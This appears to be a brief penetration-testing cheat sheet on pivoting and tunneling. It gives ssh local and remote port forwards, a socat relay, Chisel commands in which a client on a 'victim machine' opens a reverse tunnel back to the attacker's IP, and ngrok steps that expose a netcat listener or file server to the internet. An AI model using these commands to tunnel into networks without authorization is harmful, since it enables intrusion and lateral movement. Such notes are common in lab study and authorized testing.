Local PortForward
ssh –L 5901:10.10.10.48:4492 [email protected]
Remote PortForward
ssh –R 9999:localhost:8080 [email protected]
Make sure the machine have socat and if dont please get on that machine a socat binary.
./socat tcp-listen:9999,fork tcp:127.0.0.1:25 &
Please make sure both are the same version. Please download the latest release of Chisel on the link below:
https://github.com/jpillora/chisel/releases
# On Our Machine
./chisel server -p 4442 -v -reverse
# On Victim Machine
chisel64.exe client 10.10.14.8:4442 R:8200:127.0.0.1:8888
Ngrok - a cross-platform application that enables developers to expose a local development server to the Internet with minimal effort
-
Sign Up - https://dashboard.ngrok.com/
-
Download suitable ngrok for your OS
-
unzip /path/to/ngrok.zip
-
./ngrok authtoken
# TCP
./ngrok tcp 9001
-> Then nc -lnvp 9001
# HTTP
./ngrok http 9001
-> Then python -m SimpleHTTPServer 9001
[1] https://phoenixnap.com/kb/ssh-port-forwarding#htoc-remote-port-forwarding-with-openssh
[2] https://www.cyberciti.biz/faq/linux-unix-tcp-port-forwarding/